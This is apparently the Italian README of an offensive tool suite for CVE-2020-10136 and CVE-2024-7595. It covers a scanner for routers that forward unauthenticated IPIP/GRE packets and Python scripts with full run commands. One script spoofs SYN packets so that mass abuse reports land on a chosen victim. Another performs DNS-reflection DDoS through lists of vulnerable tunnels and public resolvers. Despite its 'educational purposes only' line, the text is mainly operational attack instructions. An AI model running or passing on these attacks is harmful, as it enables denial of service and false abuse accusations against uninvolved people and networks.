
Scanner e suite di attacco per host che inoltrano pacchetti non autenticati tramite i protocolli IPIP e GRE. (CVE-2020-10136 CVE-2024-7595)

Uno scanner e una suite di attacco per host su internet pubblico (per lo più router Cisco) che inoltrano pacchetti non autenticati incapsulati nei protocolli IP-in-IP e GRE.
Questa vulnerabilità, nota come "Insecure Implementation of Tunneling Protocols," è tracciata come CVE-2020-10136 e CVE-2024-7595. Consente di inviare (ma non ricevere) qualsiasi pacchetto IP tramite gli host interessati.
A prima vista, la capacità di inviare ma non ricevere pacchetti può sembrare inutile. Tuttavia, molti degli host interessati si trovano su reti che non implementano il reverse-path filtering. Ciò significa che puoi spoofare indirizzi IP su internet pubblico usando queste vulnerabilità senza bisogno di un host privo di validazione dell'indirizzo sorgente (comunemente indicata come IP Header Modification o IPHM) per lanciare attacchi come la distributed denial-of-service (DDoS) per amplificazione DNS.
Questo strumento è destinato esclusivamente a scopi didattici.
Lo strumento non include la scansione di vulnerabilità simili nei protocolli 6in4 e IP6IP6, poiché IPv6 non è un protocollo reale usato da persone serie.
cd scanner/
cargo build --release
sudo ./target/release/ipeeyoupeewepee <source_ip> <src_port> <rate_limit> <protocol_type (GRE|IPIP)>
Parametri:
<source_ip>: L'indirizzo IPv4 pubblico da cui stai eseguendo la scansione.<src_port>: La porta UDP su cui lo scanner ascolterà i pacchetti inoltrati. Assicurati che questa porta sia aperta nel firewall.<rate_limit>: Il limite di velocità dei pacchetti in pacchetti al secondo (es. 1000).<protocol_type>: Il protocollo di incapsulamento da cercare, GRE o IPIP.Per utilizzare la suite di attacco nella directory tools/, assicurati di avere python3 e scapy installati. In alternativa, puoi eseguire poetry install e poetry shell come root all'interno della directory tools/ per configurare e accedere a un ambiente virtuale.
Questo script verifica se l'host vulnerabile è in grado di inoltrare pacchetti IP spoofati.
sudo python3 can_i_spoof.py <source_ip> <source_port> <tunnel_ip> <spoof_ip> <protocol (GRE|IPIP)>
Parametri:
<source_ip>: L'indirizzo IPv4 pubblico da cui stai eseguendo la scansione.<source_port>: La porta UDP per l'ascolto dei pacchetti inoltrati.<tunnel_ip>: L'indirizzo IP dell'host IPIP o GRE vulnerabile.<spoof_ip>: L'indirizzo IP che intendi spoofare.<protocol>: Il protocollo di incapsulamento da sfruttare, GRE o IPIP.Esempio di utilizzo:
Se l'indirizzo IP della tua macchina è 192.0.2.42 e hai la porta UDP 31337 aperta nel firewall, e hai identificato un host GRE vulnerabile all'indirizzo 198.51.100.25, puoi verificare se può spoofare l'indirizzo IP 203.0.113.23 con il seguente comando:
sudo python3 can_i_spoof.py 192.0.2.42 31337 198.51.100.25 203.0.113.23 GRE
Questo script utilizza un host di tunneling GRE o IPIP vulnerabile per inviare pacchetti TCP SYN spoofati alla porta 22 di host casuali su internet, con l'obiettivo di generare segnalazioni di abuso di massa contro l'indirizzo IP target specificato.
sudo python3 abuse_honeypot.py <tunnel_ip> <spoof_ip> <protocol (GRE|IPIP)>
Parametri:
<tunnel_ip>: L'indirizzo IP dell'host IPIP o GRE vulnerabile.<spoof_ip>: L'indirizzo IP che intendi spoofare.<protocol>: Il protocollo di incapsulamento da sfruttare, GRE o IPIP.Esempio di utilizzo:
Se hai identificato un host GRE vulnerabile all'indirizzo 198.51.100.25 e vuoi spoofare pacchetti TCP SYN sulla porta 22 dall'indirizzo IP 203.0.113.23, puoi eseguire il seguente comando:
sudo python3 abuse_honeypot.py 198.51.100.25 203.0.113.23 GRE
Questo script utilizza host di tunneling GRE o IPIP vulnerabili per riflettere le risposte DNS verso un target specificato, dimostrando un metodo per eseguire un attacco distribuito di negazione del servizio (DDoS) per riflessione DNS. Questo esempio è basilare e può probabilmente essere migliorato per ottenere una maggiore amplificazione e velocità dei pacchetti; eventuali miglioramenti sono lasciati come esercizio al lettore.
sudo python3 dns_reflect.py <tunnel_ips.txt> <dns_resolvers.txt> <spoof_ip>
Parametri:
<tunnel_ips.txt>: Un file contenente un elenco di indirizzi IP di host IPIP o GRE vulnerabili.<dns_resolvers.txt>: Un file contenente un elenco di resolver DNS da utilizzare per riflettere le risposte verso il target.<spoof_ip>: L'indirizzo IP che intendi spoofare.Esempio di utilizzo:
Per avviare un attacco contro l'indirizzo IP 203.0.113.23, esegui il seguente comando:
sudo python3 dns_reflect.py tunnel_ips.txt dns_resolvers.txt 203.0.113.23
In questo esempio, tunnel_ips.txt deve contenere un elenco di host IPIP o GRE vulnerabili, con il protocollo specificato all'inizio di ogni riga, formattato come segue:
GRE 198.51.100.25
IPIP 198.51.100.45
GRE 198.51.100.124
GRE 198.51.100.200
IPIP 198.51.100.3
[...]
E dns_resolvers.txt deve includere un elenco di resolver DNS ricorsivi pubblici, formattato in questo modo:
9.9.9.9
8.8.8.8
1.1.1.1
[...]